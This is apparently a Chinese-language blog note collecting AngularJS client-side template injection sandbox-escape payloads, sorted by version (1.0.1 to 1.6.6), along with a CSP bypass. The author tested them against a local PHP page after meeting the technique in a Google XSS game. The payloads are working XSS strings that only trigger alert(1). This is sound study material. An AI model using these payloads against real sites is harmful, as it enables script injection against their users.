前两天做最新的google xss game,遇到AngularJS的客户端模板注入(client-side-template-inject),第一次接触这种漏洞,决定了解一下。

这种漏洞大约出现在16年年初,跟服务端模板注入(ssti)差不多时间,算是比较早的漏洞了。说实话,js菜的一批,AngularJS更是从来没看过,科普文章也看的似懂非懂。。。在这儿收集一下沙盒逃逸的姿势吧,以后碰到这种漏洞就只能是一把梭了。。。

0x01 测试环境

1
2
3
4
5
6
7
8
9
10
11
12
13
<html ng-app>
<head>
<script src="https://code.angularjs.org/{version}/angular.min.js"></script>
</head>
<body>
<p>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);
?>
</p>
</body>
</html>

0x02 逃逸姿势

2.1 v1.0.1-v1.1.5

1
http://127.0.0.1/test/xss/angular.php?q={{ constructor.constructor('alert(1)')() }}

2.2 v1.2.0-v1.2.18

1
http://127.0.0.1/test/xss/angular.php?q={{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}

2.3 v1.2.19-v1.2.23

1
http://127.0.0.1/test/xss/angular.php?q={{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)  }}

2.4 v1.2.24-v1.2.26

mark

实在太长了。。。。

2.5 v1.2.27-v1.2.29/v1.3.0-v1.3.20

1
http://127.0.0.1/test/xss/angular.php?q={{ {}.")));alert(1)//"; }}

实际测试为v1.2.20-v1.2.32/v1.3.0-v1.3.20均生效。

2.6 v1.4.0-v1.4.5(仅chrome)

1
http://127.0.0.1/test/xss/angular.php?q={{ o={};l=o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location='javascript:alert(1)'; }}

2.7 v1.4.5-1.5.8 (仅chrome)

1
http://127.0.0.1/test/xss/angular.php?q={{ x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=alert(1)' }}

2.8 v1.6.0-1.6.6

先知xss挑战赛学到的一个姿势

1
http://127.0.0.1/test/xss/angular.php?q={{ [].pop.constructor('alert(1)')() }}

2.9 csp bypass (仅chrome v1.4.0-v1.6.6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html ng-app>
<head>
<?php
header("Content-Security-Policy:default-src 'self';script-src code.angularjs.org 'self'");
?>
<script src="https://code.angularjs.org/{version}/angular.min.js"></script>
</head>
<body>
<p>
<?php
echo $_GET['q'];
?>
</p>
</body>
</html>
1
http://127.0.0.1/test/xss/angular.php?q=<input+autofocus ng-focus="$event.path|orderBy:'!x?[].constructor.from([x=1],alert):0'">

2.10

后来,由于一直被绕过,AngularJS干脆废除了沙盒机制。。。

ps. 就冲这些绕过姿势,没学js是正确的选择。。。

0x03 参考资料

AngularJS客户端模板注入

AngularJS-沙箱逃逸和XSS

基于DOM的AngularJS沙箱逃逸技术